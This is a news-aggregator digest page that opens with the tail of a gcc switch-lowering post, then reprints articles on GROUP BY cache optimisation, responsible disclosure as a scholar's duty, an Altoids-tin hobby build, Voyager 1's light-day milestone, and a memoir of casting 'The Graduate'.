        case_tree_node **npp, *left;
        profile_probability prob = profile_probability::never ();

Sum probability of all case labels.

        /* Count the number of entries on branch.  Also count the ranges.  */
        while (np) {
            i++;
            prob += np->m_c->m_prob;
            np = np->m_right;
        }

Split the case label list such that both halves have equal probability.

        if (i > 2) {
            npp = head;
            left = *npp;
	    // NOTE(xoranth): this divides prob by 2.
            profile_probability pivot_prob = prob.apply_scale (1, 2);

            while (1) {
                /* Skip nodes while their probability does not reach that amount.  */
                prob -= (*npp)->m_c->m_prob;
                if ((prob.initialized_p () && prob < pivot_prob) || ! (*npp)->m_right)
                    break;
                npp = &(*npp)->m_right;
            }

            np = *npp;
            *npp = 0;
            *head = np;
            np->m_parent = parent;
            np->m_left = left == np ? NULL : left;

Recurse in both halves to build the binary tree.

            balance_case_nodes (&np->m_left, np);
            balance_case_nodes (&np->m_right, np);
            np->m_c->m_subtree_prob = np->m_c->m_prob;
            if (np->m_left)
                np->m_c->m_subtree_prob += np->m_left->m_c->m_subtree_prob;
            if (np->m_right)
                np->m_c->m_subtree_prob += np->m_right->m_c->m_subtree_prob;
        } else {
	    // [...] Base case
        }
    }
}

Conclusion

We've seen the heuristics and lowering strategies gcc employs when compiling switch statements, including:

  • Compressing multiple case labels into a bitset.
  • Transforming the switch statement into a jump table.
  • Transforming the switch statement into a binary decision tree.

For anyone interested in delving deeper, I'd suggest examining the gcc source code, and reading this paper.

Finally, I want to thank B.X.V., C.P., and V.P. for their feedback when writing this post

The Daily Front Page 14 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — Waiting on Memory
article

It's the memory latency, stupid

by ntur1337·▲ 219 points·71 comments·pivotlake.io ↗
Making GROUP BY faster by doing more (CPU!) work

Making GROUP BY faster by doing more (CPU!) work

Disclaimer

no LLMs were harmed (or for that matter used) in the writing of this blog post

When you see your databases CPU at 100%, what is it actually doing? We like to act as though CPUs run code linearly for simplicity's sake, but in truth CPUs are incredibly complex beasts; they can potentially do many instructions at once, or sometimes none at all (despite our console showing 100%). Because CPUs can do so many things, one CPU at 100% may be doing much less than another at 100%. A CPU is considered "idle" only if no task (Linux task) needs CPU time; this does not mean the CPU itself is being fully saturated. So why would a CPU not be fully utilized, even if it appears to be at 100%?

The answer is usually memory.

Memory accesses are orders of magnitude slower than internal CPU operations. To give a good picture of how much so, a modern CPU might be able to process somewhere in the realm of 4-8 instructions per nanosecond. A memory access to RAM can take somewhere in the realm of 50-100ns. To ease your mathing, that means a modern CPU can do around 400-800 instructions for every one memory access from RAM.

Given this, CPUs are built from the ground up to work their way around this. The most obvious way this is dealt with is CPU caches. CPU caches keep memory closer to the CPU than RAM, literally baked into the CPU chip. The closest cache (the L1 cache) takes around 1ns per memory operation- that's 50-100x faster than RAM! The "problem" here of course is that the CPU caches are fairly small; the L1 cache for a modern CPU is probably around ~64KB, while the farther caches max out at a few hundred MB for top end processors. A good database tries manipulating data in small "chunks" to take full advantage of caches, and you'll often hear cache utilization as being one of the top concerns of performance engineering.

Let's look at GROUP BY aggregations to get a better grip on cache utilization. In GROUP BY, we're looking to take a dataset, group it by a certain column (or more), and perform certain aggregations (for example, count, or sum on another column). The "naive" method might be to open a HashTable keyed by the group key that grows ever larger. For every new row, you would check if that key exists- if it does, go to it's corresponding aggregation and update the result. Simple, right? The problem is that if you have millions of unique groups, you're not utilizing your cache at all! Nearly every HashTable access will be a "cold" hit that goes to RAM. This means that although your CPU may /look/ like it's 100% utilized, in truth it'll constantly be waiting for cold memory accesses.

To demonstrate this, we'll take our state-of-the-art Pivot engine and ravage it! We'll remove all our complex logic and replace it with simplicity:

fn consume(
    &mut self,
    batch: RecordBatch,
    _sender: &mut dyn Sender<RecordBatch>,
) -> unary::Result<()> {
    let group_keys = batch.column(self.key_column).as_primitive::<Int64Type>();
    for &key in group_keys.values() {
        // If the Group Key doesn't exist- set it to 0
        // Afterwards, add 1 to the group- this will give us a count(*) GROUP BY key_column
        *self.counts.entry(key).or_insert(0) += 1;
    }
}

We'll then run a simple query SELECT count(*), UserID FROM hits GROUP BY UserID on the "hits" dataset ClickBench provides (99m rows). This query will give us a count per UserID, meaning we'll have an entry in our HashMap per UserID- I'll give a spoiler here that there's ~17m unique UserID.
Our performance checks will be on a bare metal server from our good friends over at CherryServers (AMD EPYC 9124 Genoa, 16 cores, 128 GB DDR5). We unfortunately can't use a common AWS/GCP machine because we want access to counters that aren't exposed there for security reasons (for example, we want to see how much memory is passing from DRAM controller to us). We'll confine ourselves to a single core, since this naive group by can't run on many cores.

To run it:

cat > config.yaml <<'EOF'
server:
  bind: 127.0.0.1:5440
workers: 1
datastores:
  default:
    kind: pivotlake
    location: ./data
    default: true
users:
  pivot:
    auth:
      method: trust
EOF
taskset -c 3 pivot server --config config.yaml &
taskset -c 7 psql -h 127.0.0.1 -p 5440 -U pivot -c '\timing on' -c "SELECT count(*) FROM (SELECT COUNT(*), UserID FROM hits GROUP BY UserID)"

This takes... a whopping 3.9 seconds. Is that good? Is that bad? Everything in this world is relative, or so they say. If we run the query again (without restarting the server), it takes 3.6s. The second run is the one we're more interested in- there's no disk involved as everything is already sitting in our page-cache.

You'll notice we did taskset -c. This pins the process to a given CPU; this will allow us to run perf stat on that CPU and see what's going on internally. We'll measure two metric groups- percentage of CPU slots stalling because of memory (and not doing anything in the meanwhile), and percentage of CPU slots actually retiring a micro-op:

sudo perf stat -C 3 -M backend_bound_memory,retiring -- taskset -c 7 psql -h 127.0.0.1 -p 5440 -U pivot -c "SELECT count(*) FROM (SELECT COUNT(*), UserID FROM hits GROUP BY UserID)"

and we get back this

Performance counter stats for 'CPU(s) 3':

        8364109137      ex_no_retire.load_not_complete   #     50.1 %  backend_bound_memory
       38233214040      de_no_dispatch_per_slot.backend_stalls
        8977647849      ex_no_retire.not_complete
       11861387798      ls_not_halted_cyc
       11431618219      ex_ret_ops                       #     16.1 %  retiring
       11858248045      ls_not_halted_cyc

       4.030148989 seconds time elapsed

This tells us that 50.1% of the time, the CPU couldn't do anything because it was stalling on memory! And only 16.1% of the time the CPU was actually retiring (aka doing) operations.

Another interesting stat to get is how many of our CPU memory loads are coming from DRAM (and not from caches):

sudo perf stat -C 3   -e ls_dmnd_fills_from_sys.dram_io_near   -- taskset -c 7 psql -h 127.0.0.1 -p 5440 -U pivot -c "SELECT count(*) FROM (SELECT COUNT(*), UserID FROM hits GROUP BY UserID)"

And the result:

 Performance counter stats for 'CPU(s) 3':

          76190837      ls_dmnd_fills_from_sys.dram_io_near

       3.996301634 seconds time elapsed

Every load is 64 bytes (the minimum amount you can bring, a cache line), so we can multiply by 64 to see we pulled 4.5GB during this query from DRAM on CPU loads (this is without any prefetching).

Let's now try to improve our algorithm to take advantage of the CPU caches. To do this, we'll use a method called radix partitioning. The idea is to split the merge into two distinct phases:

Phase 1: In this phase, we're simply going to separate the keys into 4096 different partitions (simply a Vec of SlabVecs- a SlabVec is a data structure similar to a Vec that is above memory that is already paged in. We don't use Vecs for raw memory in Pivot because it creates a lot of variance; not something for this blog post!). The partition will be decided by hashing the key and taking it's top 12 bits (2**12=4096).

fn consume(
    &mut self,
    batch: RecordBatch,
    _sender: &mut dyn Sender<RecordBatch>,
) -> unary::Result<()> {
    let keys = batch.column(self.key_column).as_primitive::<Int64Type>();
    for &key in keys.values() {
        let hash = self.hasher.hash_one(key);
        // Since we want top 12 bits, we shift the hash (a u64) 52 bits to the right
        let partition = (hash >> 52) as usize;
        self.partitions[partition].push(&mut self.allocator, (hash, key));
    }
    Ok(())
}

The partition is decided by hash >> 52, the first 3 hex digits.

Phase 2: When all data has come through, go partition by partition, each time creating a HashMap, aggregating the partition into it, and then outputting it. This phase is very similar to our original algorithm, but we're going to use the hash from phase 1.

fn into_outputter(self) -> unary::Result<Option<Self::Outputter>> {
    let mut groups = Vec::new();
    for rows in &self.partitions {
        let mut table: HashTable<(u64, i64, u64)> = HashTable::new();   // (hash, key, count)
        rows.for_each(|(hash, key)| {
            match table.entry(hash, |group| group.1 == key, |group| group.0) {
                Entry::Occupied(mut group) => group.get_mut().2 += 1,
                Entry::Vacant(slot) => { slot.insert((hash, key, 1)); }
            }
        });
        groups.extend(table.into_iter().map(|(_, key, count)| (key, count)));
    }
    Ok(Some(Outputter::new(groups)))
}

At first glance, this solution may seem rather odd. We're doing more operations here, not less! Every row, in both solutions, is hashed and sent into a HashMap. But in this solution, we're first pushing rows into seemingly meaningless vecs.

The key here (no pun intended) is to understand why we've done this; it's to make the aggregating HashMaps smaller. By dividing our group by into 4096 pieces, we've made our working HashMaps much likelier to fit into our CPU caches. Every time we do a lookup on our HashMap, our CPU is more likely to find the relevant memory sitting in it's caches, which saves a big chunk of time. But why trust me? Let's run it!

taskset -c 7 psql -h 127.0.0.1 -p 5440 -U pivot -c '\timing on' -c "SELECT count(*) FROM (SELECT COUNT(*), UserID FROM hits GROUP BY UserID)"

And... Boom! 3.3 seconds, and then on second run 2.7 seconds! We've definitely made an improvement. But to really drive this point home, let's run perf again:

sudo perf stat -C 3 -M backend_bound_memory,retiring -- taskset -c 7 psql -h 127.0.0.1 -p 5440 -U pivot -c "SELECT count(*) FROM (SELECT COUNT(*), UserID FROM hits GROUP BY UserID)"

And our results:

 Performance counter stats for 'CPU(s) 3':

        3790955223      ex_no_retire.load_not_complete   #     23.5 %  backend_bound_memory
       20376118172      de_no_dispatch_per_slot.backend_stalls
        5442424751      ex_no_retire.not_complete
       10083617764      ls_not_halted_cyc
       19350459182      ex_ret_ops                       #     32.2 %  retiring
       10023435553      ls_not_halted_cyc

       3.575992317 seconds time elapsed

Now we can see the picture has completely changed- 23.5% of the time is spent on waiting for memory (as opposed to 50% before), 32% for actually retiring operations. You may notice we're actually doing more work, not less- in this run, we did 19350459182 operations (the ex_ret_ops counter), whereas before the database did 11431618219 operations. This is worth it though, because as we said before- if we can translate cold DRAM accesses into CPU instructions, it's nearly always a good trade to make. In this case, we went down from 8364109137 CPU slots stalled because of memory to 3790955223.

To complete the picture and really see we're pulling less memory from the DRAM, let's again check how many our memory loads come from DRAM:

sudo perf stat -C 3   -e ls_dmnd_fills_from_sys.dram_io_near   -- taskset -c 7 psql -h 127.0.0.1 -p 5440 -U pivot -c "SELECT count(*) FROM (SELECT COUNT(*), UserID FROM hits GROUP BY UserID)"
 Performance counter stats for 'CPU(s) 3':

          25688280      ls_dmnd_fills_from_sys.dram_io_near

       3.009547012 seconds time elapsed

Whoo! That means that on demand we pulled 1.5GB from DRAM, instead of 4.5GB in the naive version.

That, of course, isn't the limit of how much we can utilize our CPU cache for GROUP BYs. And utilizing our CPU cache isn't the only way we can "hide" DRAM latency; another trick is prefetching memory to our cache before we need it, and yet another trick is creating algorithms that allow maximization of memory throughput- but that's not for this blog! We'll go into that in our next blog where we look at our /seemingly very weird/ implementation of JOIN probing.

For now, without explaining too much, I'll leave you with Pivot's speed for this query on a single core:

Time: 1848.353 ms (00:01.848)

and the amount of RAM we bring:

 Performance counter stats for 'CPU(s) 3':

          14917958      ls_dmnd_fills_from_sys.dram_io_near

       2.182674864 seconds time elapsed

Which comes out to 954 MB.

Of course, Pivot knows to run in parallel on our 16 cores (where there are many other interesting cases), in which case it comes out to:

Time: 171.773 ms

nice :)

Try out Pivot if you want to have super speeds above parquets (OSS fun!), see you next time.

The Daily Front Page 15 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — A Scholar’s Obligation
article

The Duty of a Scholar

by gslin·▲ 128 points·33 comments·daemonology.net ↗
The Duty of a Scholar

The Duty of a Scholar

On November 16th, 2004 — π years after arriving in Oxford — I submitted my doctoral thesis. My mind wasn't really on my thesis though; I was thinking about an issue I had noticed in recent Intel CPUs: The "Hyper-Threading" (simultaneous multithreading) feature they introduced in 2002 could leak information between execution threads via the cache state.

There was a joke at the time that although the National Security Agency had opened up in recent years and started taking their defensive role more seriously, the one aspect of cryptography which they would never discuss publicly was side channel attacks — and this itself constituted a side channel, revealing the importance they attributed to the field. Being active in computer security, and recognizing that the NSA knew a few things about the topic, my immediate priority was to determine whether the information leakage I had identified was sufficient to construct a practical cryptographic side channel. By mid-December I had a proof-of-concept exploit which stole enough bits of an RSA private key for the entire key to be reconstructed, and I turned my attention to the hard part of the problem: Quietly notifying security teams and working together to get the issue fixed before disclosing it publicly.

This became my occupation for the next six months. While my Oxonian contemporaries were making corrections to their theses and applying for jobs, I set those aside (much to the irritation of my supervisors): I had a responsibility, and it took priority over mere career considerations. As it turned out, being unemployed proved useful in early May, when Intel — rather irked by my impending publication — asked Yahoo to order me to withdraw the paper; Yahoo was very happy to reply that, unlike many FreeBSD developers, I was not in fact employed by them and they were not in a position to threaten to fire me. On May 13th, 2005, I presented my paper at BSDCan and published an advisory on the topic; advisories were published at the same time or soon thereafter by FreeBSD, NetBSD, Red Hat, SCO, and Ubuntu.

Anyone involved with open source software security will recognize the process of responsible disclosure (now widely called "coordinated disclosure", after some people in the industry struggled with the concept of responsibility), although the length of this particular process was unusual. If you find a security vulnerability, you shouldn't ignore it (or worse, sell it to bad actors); conversely, it's irresponsible to simply publish the vulnerability and hope that the good guys can fix it before the bad guys exploit it. Instead, you have a responsibility to identify who needs to know about the issue and to contact them — quietly — so they can get patches ready to distribute to their users the moment the issue becomes publicly known.

In this particular case, I was unusually able to put my life on hold: I was single, child-free, and, after defending my thesis and returning home to Canada, living rent-free in my (very tolerant) parents' basement. While I had some bills to cover — being a type 1 diabetic, I had to purchase insulin — living in Canada meant that I didn't need to worry about the risk of extraordinary costs from a hospital stay. Had I been living in the USA, I would have needed to prioritize seeking employment and medical insurance and likely would not have been able to discharge the duty which fate had thrust upon me.

Engineers, of course, are familiar with such duties: While the precise language varies from jurisdiction to jurisdiction, nearly all professional ethical codes include a requirement to act upon safety hazards regardless of whether any personal connection exists. Members of the IEEE commit, for example, "to hold paramount the safety, health, and welfare of the public..." without that duty being limited to hazards arising from projects employing the Engineer in question: The duty "to disclose promptly" vests in any Engineer who recognizes that the hazard exists. As with responsible disclosure of software security vulnerabilities, however, the subject matter of this duty is limited in scope: There is no duty to report if work is being done inefficiently. As a legal duty this would be reasonable; but as a moral duty, I feel it sets the bar too low.

Engineering codes also often set out a process of escalation: In the common case of a licensed Engineer becoming aware of a hazard in a project they are working on, in the first instance they should report their concerns to their employer; only if that fails to yield results should they take more direct steps. This is both efficient and practical: Reporting an issue to someone who fails to act upon it isn't necessarily sufficient to discharge a duty, but conversely reporting everything broadly risks drowning out the few items which truly need broad attention. I routinely apply this same principle; for example, in 2009 I discovered that the Amazon EC2 firewall broke Path MTU Discovery by default and reported it to Amazon; but by November 2012 I concluded that Amazon was not going to address the problem, so I took to my blog to advise Amazon customers on how to fix Path MTU Discovery for themselves. (As it happened, Amazon fixed the bug a short time later.) While this was in no way a safety or computer security concern, I felt that, knowing what I did, I had an ethical duty to share that knowledge to help people who were affected by the issue.

In the Star Trek: The Next Generation episode "The First Duty", the late Patrick Stewart, speaking as Jean-Luc Picard, delivers a memorable speech about truth:

The first duty of every Starfleet officer is to the truth, whether it's scientific truth or historical truth or personal truth! It is the guiding principle on which Starfleet is based! If you can't find it within yourself to stand up and tell the truth about what happened, you don't deserve to wear that uniform!

The duty described here is a duty to uncover and not conceal the truth; while I agree with this duty, I don't think it goes far enough. To me, the duty includes actively seeking out people to whom the truth should be told. To hide behind "nobody asked" is to fail to fulfill the duty.

Much ink has been spilled by philosophers about duty and ethics, and the German Enlightenment philosopher Fichte in particular had some interesting comments to make in the fourth of his 1794 lectures, Über die Bestimmung des Gelehrten — often translated as The Vocation of the Scholar, which inspired the title of this essay. Fichte argues that Scholars have a particular relationship to knowledge: A Scholar "possesses his Knowledge not for himself, but for society". It is not proper for a Scholar to hoard knowledge; rather, Scholars have a duty to impart their knowledge to others — in Fichte's somewhat exaggerated view, to act as "the Teacher of the human race". On the other hand, it is unnecessary and inappropriate to enter with everyone into the "deep inquiries which he himself has been obliged to undertake"; rather, a Scholar relies upon others' trust in the Scholar's honesty when conveying the particular knowledge which is needed. Fichte notes that "[t]he Scholar will never be tempted to bring men to the adoption of his convictions by coercion or the use of physical force [...] neither will he deceive them". Scholars are not Plato's philosopher-kings; their duty is to provide the requisite knowledge, not to enforce what is done with that knowledge.

Now, I don't agree with Fichte on every point. Fichte considers Scholars to be the loftiest of all classes, and even invites each Scholar to consider themselves a "Priest of Truth"; living in rather more egalitarian times, I absolutely reject this framing. Nor do I accept Fichte's framing (in his preceding lecture, On the Distinction of Classes in Society) that the duty of Scholars to share knowledge arises from an obligation to render back to society what it has done for us; to me, the duty arises not from a debt to society, but rather attaches to knowledge itself, no matter who holds it.

This duty, naturally, is not unlimited. As Fichte notes, there is no duty to force people to act upon shared knowledge — indeed there is a moral obligation to accept everyone's freedom to choose how they act. Similarly, there is no duty to become a Cassandra: As with any gift, people are free to refuse the gift of knowledge, however unwise that might be; ultimately, if everyone who is able to act upon some knowledge has been made aware of it, the duty has been exhausted.

In modern vernacular, the terms "Scholar" and "Researcher" often overlap, but to me there is a very precise distinction: Researchers create new knowledge, while Scholars carry that knowledge to the people who need it — a narrower definition than that of Fichte, whose Scholars also carry a duty to strive to extend knowledge. Many people, of course, are both Researchers and Scholars; but there are plenty of people who perform research and publish papers without truly communicating their discoveries. The research paper which is published in a journal but never read is almost a cliché; but even papers which are read do not necessarily have the impact they deserve if they are read only by academics and not by anyone in a position to act upon the findings published. My undergraduate alma mater, Simon Fraser University — of which I have been a sitting Senator for over two decades — describes itself as "Canada's engaged university" and makes a point of valuing not just academic output but the work of connecting academic learning with the real world. A true Scholar, in my mind, is someone who feels bound by the duty of knowledge: To find the people with whom it should be shared.

It is for everyone to choose their own role in society, and not everyone feels every duty the same way; for that matter, just as my experience in 2005 would have been different had I needed to obtain medical insurance, not everyone is able to act upon a duty, no matter how much they feel it. But for myself, I choose the life and duty of a Scholar.

The Daily Front Page 16 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — The Tin and the Telescope
article

Altoids Project

by uvdn7·▲ 123 points·7 comments·uvdn7.github.io ↗
My 12-year-old son and I spent about two months on what we call the Altoids project.

My 12-year-old son and I spent about two months on, what we call, the Altoids project. Here is the final product (video): final_product

It all started when I took him to MIT Swapfest for the first time. We saw an assembled robot from a couple’s booth; later we learned that it was from a kit. It was built by their daughter many years ago. After realizing I had come with my son, they gave us the robot for free. We also picked up a used ThinkPad laptop at a very reasonable price, which we used for the project. mit_swap

As any curious mind would, we disassembled the robot. Noticing that we were missing the control, we wanted to see which parts we could reuse. We took the 128x64 display off. But we couldn’t find the pinout for the display. We tried using AI, but it hallucinated so badly that it gave us a 20-pin pinout when the display only has 10 pins. no_pinout

After hours of searching around, we found the exact schematic posted on Arduino’s forum by a stranger on the Internet. God bless him. With the pinout, we finally made the display show something. We ran the Space Trash game from the U8g2 library. Let’s call this v1. space_trash

I had just watched a YouTube video where someone built a tiny computer and fit everything inside an Altoids tin (video). Inspired by the YouTube video, we grabbed a random tin found in the house and moved the project to the workbench. workbench

To reduce the form factor, we switched to an Arduino Nano, and ordered LiPo batteries and PowerBoost for power supply. Everything needed to fit in the tin. My son did all the CAD and 3D printing. 3d Here is what v2 looked like. The lid did not close. It felt like playing 3D chess to fit everything in. altoids_v2

We ordered solderable breadboards to avoid the messy wires. It was looking promising. We also bought a real tin of Altoids from a grocery store, since the Altoids tin is actually a little taller than the one we were using earlier. This is what v3 looked like. The lid did not close, but we were getting closer. altoids_v3

The display was connected to a tiny solderable breadboard. We wanted to remove it and connect the wires to the display directly. But we had a really hard time with desoldering. We accidentally pulled one copper pad off the display, making it unusable. We might be possible to salvage it, but we just ordered a new display from Adafruit instead. damaged_display

At this point, I wanted to avoid desoldering as much as possible. So we got those tiny hooks for testing the display (video). This is when we realized the new display does not default to SPI mode. We did not want to make more changes to the wiring, so we still had to desolder two jumpers.

I suspected our soldering iron was heating unevenly. We ordered a new soldering iron and it made all the difference. With the new iron, we made rapid progress. We hot-glued the display onto the lid. Everything worked for the first time. This is what v4 looked like. The lid did close with some struggle. altoids_v4

Two wires connecting the microcontroller and the display broke the next day. We did many hacks, one of which is to extend the wires by soldering two wires together. It did not work well, obviously. We got some ultra-fine (30 AWG) wires to replace them. At this point, my son did most of the desoldering and soldering work. He actually connected one wire incorrectly, so it did not work at first. It is a good debugging and learning experience.

As a final touch, we got tiny 1x1-inch ziploc bags and put two actual Altoids in the tin. And here we have the final product, after five iterations. None of the components used in the first iteration survived. final_product

The Daily Front Page 17 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — At the Edge of a Light-Day
article

What is a light-day? The milestone Voyager 1 is closing in on

by geox·▲ 93 points·47 comments·science.nasa.gov ↗
about distance, not time. And it's very, very far.

The milestone Voyager 1 is closing in on is about distance, not time.
And it's very, very far.

This artist concept shows NASA's twin Voyager spacecraft, celebrating 40 years of continual operation in August and September 2017.

The Voyager 1 spacecraft, traveling for nearly 50 years, will soon cross a mile marker reached by no other human-made object — one light-day away from Earth. That’s the distance a particle of light can travel in 24 hours, equaling about 16 billion miles (about 26 billion kilometers), a point that Voyager 1 will reach on Wednesday, Nov. 18, 2026, at 5:16:07 a.m. EST.

Its twin spacecraft, Voyager 2, took a different path through the solar system after they launched in 1977, in order to visit Uranus and Neptune. Voyager 2 is on pace to be one light-day away from Earth in nine more years, in November 2035.

Why measure with light?

Nothing in the universe travels faster than light. Moving through space about 186,000 miles every second, it crosses enormous distances in a given time period, whether it’s a second, a day, or a year. This is true for any type of electromagnetic radiation, including visible light, microwaves, radio waves, gamma rays, X-rays, or infrared. A light-day is the distance that light will travel in 24 hours, or 16,094,799,096 miles (25,902,068,356 kilometers). 

To put this mileage into perspective, consider some other light-distances: 

  • The Moon is 238,855 miles (384,400 kilometers) from Earth, on average. The astronauts on the Artemis II mission took about three days to get there, but light can traverse that distance in 1.3 seconds.
  • Sunlight takes about eight minutes and 20 seconds to travel the 93 million miles from the Sun to Earth (about 150 million kilometers), meaning our nearest star is about 8.3 light-minutes away.
  • The distance between Earth and Mars changes as they orbit the Sun, and it can take anywhere from three minutes to 22 minutes for light to travel between the two planets. Same for a radio transmission, either to or from a spacecraft at Mars.
  • Neptune, the most distant planet in our solar system, with an average distance from Earth of about 2.8 billion miles (4.5 billion kilometers), is four light-hours and 10 light-minutes away. It took Voyager 2, traveling about 35,000 miles per hour, 12 years to reach Neptune.

That’s why light-year — how far light can travel in a year — is used to measure and convey the vastness of space. It’s about 5.88 trillion miles (9.46 trillion kilometers). The closest neighboring solar system to our own, the star Proxima Centauri and its one or more planets, is about 4.24 light-years away (or, about 24.95 trillion miles, or 40.15 trillion kilometers). And the next-closest galaxy to our own Milky Way, the Andromeda galaxy, is about 2.5 million light-years away.

Where is Voyager 1 going?

Voyager 1 is headed in the direction of a star more than 17 light-years away from Earth called AC +79 3888, also known as Gliese 445. It’s an obscure star now in the constellation Ursa Minor (the Little Bear or Little Dipper), and Voyager 1 is expected to pass within about 1.7 light-years of it — in 40,000 years. Even though the spacecraft, in flight since 1977, is cruising at nearly 38,000 mph (61,000 kph) through the vacuum of space, that’s a relative crawl compared to the speed of light.

When Voyager 1 makes its mark Nov. 18, the spacecraft will have taken 49 years, two months, and 11 days to have traveled one light-day beyond Earth — a huge milestone by any measure, and a day worth celebrating.

See where Voyager 1 is now

Use NASA’s “Eyes on the Solar System” interactive visualization tool

Use NASA’s interactive tool “Eyes on the Solar System” to see where Voyager 1 is right now. Or, travel back in time and ride along when Voyager 1 visited Jupiter and Saturn, or when it turned homeward to capture the iconic “Pale Blue Dot” photo of Earth, or anytime since then, when it left the solar systema and became the first spacecraft to enter interstellar space.

NASA/JPL-Caltech

The Daily Front Page 18 of 28
Saturday, October 31, 2026 The Daily Front No. #261031 — The Graduate Remembers
article

Surviving "The Graduate"

by samizdis·▲ 134 points·40 comments·newyorker.com ↗
It was the film that made me famous.

It was the film that made me famous. On set, all I could think about was how I was failing.

Dustin Hoffman in “The Graduate.”

When I went down to the pool at the Chateau Marmont, it seemed like everyone knew each other and was having fun in the sun.

I had been staying with my parents in L.A., shooting “The Graduate,” but my father was driving me crazy. Every day, I’d get home from the set, and he’d grill me, wanting to know every detail of what happened. And he’d be very critical: Why did you do that? That’s not the way to do it. I lasted maybe five days, and then I couldn’t take it anymore. I was trapped in the house where I’d grown up, totally alienated by the previous generation, just like my character. So I’d moved to the hotel where the cast and crew were staying.

Out by the pool, it was like a cabana party on Mount Olympus: the people looked like golden gods among the palm trees. I felt immediately uncomfortable, unworthy. Here I was, playing a starring role in a movie by Mike Nichols, who was the director of the moment, but I felt like I had no right to be there.

The shoot went on for months. Mike was in no rush; he had all the time and money he wanted. But I never went down to the pool again.

“The Graduate” exacerbated all my insecurities from the start. When my agent said that Mike was interested in me, I didn’t even want to try out for the part. I had read the Charles Webb novel that Mike was adapting, and it was obvious that I was all wrong for Benjamin. A track star and straight-A student, the head of the debate team—this was an affluent, all-American kid, whose surname was “Braddock.” Why would you cast a person who looks as ethnic as I do to play the ultimate Wasp? It made absolutely no sense.

It was impossible to be unimpressed by Mike, though. His first film, “Who’s Afraid of Virginia Woolf?,” had just been nominated for thirteen Academy Awards, including Best Directing and Best Picture. I’d enjoyed his version of “Barefoot in the Park” on Broadway, and I loved the comedy routines he’d done with Elaine May. Still—me, playing a six-foot gentile? I had to draw the line somewhere.

“I hear you don’t think you’re right for the part,” Mike said on the phone. “So who is right for it?”

There happened to be a copy of Time on the coffee table in front of me; on the cover was a sketch of a handsome, blond, athletic fellow meant to represent Americans “Twenty-five and Under.” “The guy on the cover of Time,” I said.

“You’re saying you’re not right for it because you’re Jewish,” Mike said.

“Well, because Benjamin’s so not Jewish.”

There was a pause. Then Mike said, “Maybe he’s Jewish inside.”

By that time, they’d been trying to cast the part for almost two years. “Robert Redford and Candice Bergen, the ideal couple—that’s what we were thinking,” Buck Henry, the film’s co-screenwriter, said about casting Benjamin and his love interest, Elaine. But they’d already seen Redford—and pretty much everyone else—by the time they got around to me and Katharine Ross. Nothing had clicked. I still maintain that if I’d read for them at the beginning of their search, instead of at the bitter end, I never would have got the part.

The irony is that I was just starting to become successful in theatre, the world I’d inhabited for almost a decade. I was in “Eh?” Off Broadway, and I was having a great experience: lots of laughs, standing ovations almost nightly, my face on the cover of the Arts section of the Times. I was finally making a living doing what I loved. It was as if I’d been hiking up a mountain and, just when I could finally see the summit, here comes Mike in a helicopter, offering me a ride to a different peak.

Hollywood had never been my endgame. As far as I was concerned, the studios kept beautiful people imprisoned in seven-year contracts. I wasn’t beautiful, and I didn’t want to be trapped. To be honest, I looked down on American movies, compared with theatre. When it came to breakthrough cinema, the kind made in Europe by greats like Truffaut, Buñuel, Antonioni, and Godard, Hollywood had yet to see the light.

My agent convinced me that I should screen-test for Mike, despite my reservations. I told my castmates in “Eh?” not to worry; I was sure they wouldn’t need to replace me. Then I walked to my neighbor on Eleventh Street, Mel Brooks, who’d suggested that I play a small part in “The Producers.” I called up to his window: “They’re flying me out to audition for a Mike Nichols movie.”

“What part?” he asked.

“The lead,” I told him.

“Good luck!” he said, suppressing a laugh. “Keep me posted!”

I had to learn ten pages in less than forty-eight hours. I stayed up the entire night running lines; by the time I landed in Los Angeles, I hadn’t slept in two days. Mike’s office was a series of palatial rooms with high ceilings, and in my memory it included a bar, which is where I first saw him. “Oh, hi, would you like a drink?” he said. He was always so casual, almost seductive. Then they brought in Katharine Ross, who was outrageously beautiful. I felt foolish, like I had to apologize to her for looking like I did.

They took us to get our makeup done in a long room with rows of upholstered chairs. Today, you get made up in a trailer, without a trace of glamour, but this room was a remnant of Old Hollywood. It seemed likely that Betty Grable’s ass had been on the chair before mine.

They had these famous makeup artists, the Westmores—six brothers who’d learned their trade from their father. I can’t remember how many of them were there that day, but they were at it for hours. And it’s not like I was getting prosthetics or a toupee. It took them that long just to do something with what little I offered.

Mike came in, watched them for a while, and looked at my face in the mirror. Quietly, in his singsong voice, he said, “Can’t you do something with his eyebrows?” Bobby Duvall always said that I had only one. They started plucking me to make two.

Then Mike said that my neck looked too thick, so they put me in a turtleneck. But he was still unhappy with what he was seeing. (I, too, was increasingly unhappy.) Mike sounded almost innocent when he asked the Westmores, “Now, what are we going to do about the nose?”

I remember thinking, They’re trying to take the Jew off my face, and it ain’t going to happen. All I wanted to do was go home, to ethnic New York, where I belonged. I knew I was no leading man. I knew my place.

The scene I did with Katharine was endless. Both of us kept screwing up because—for God knows what reason—Mike wanted to shoot a ten-minute scene in one take. At one point, he took me aside and said, “Why are you nervous? This isn’t a play; the curtain’s not opening. It’s not a movie. It won’t go any farther than this room. So just relax!” I felt that he understood completely, and I thanked him and shook his hand. It was so slippery with sweat that it literally slid out of mine. That’s when I realized that he was more anxious than I was, and this did not put me at ease.

It wasn’t just paranoia: everyone thought I was wrong for the part. “I looked at it, and it was just this ugly boy playing the part, and I thought, Ugh,” the film’s editor, Sam O’Steen, later said of my screen test. People imagined the Braddocks as prototypical California gentiles. “All blonde, all healthy,” Buck Henry said. “A family of surfboards is what we called them. And here comes Dustin: clearly not a surfboard.” To save the film, they hoped Benjamin’s parents might be played by Ronald Reagan and Doris Day. “We immediately rationalized it: he’s a genetic throwback,” Buck continued. “Doris Day and Ronald Reagan have had this mutt.”

I was so relieved when we finished the screen test. I couldn’t wait to get out of there. As I was thanking the propman, a few subway tokens dropped out of my pocket. He very nicely picked them up, then said, “Here, kid, you’re gonna need these.”

Soon after I got home to New York, my agent told me to call Mike at nine o’clock on Sunday morning. It was snowing out, and I was going uptown to my girlfriend’s apartment for breakfast. Obviously, the agent meant Pacific time, but I was such an anxious wreck that I didn’t think it through. When I got to my girlfriend’s place, I called Mike at precisely 9 A.M. New York time and woke him up.

I mumbled an apology. There was a long silence. “Well,” Mike said, “you got it.”

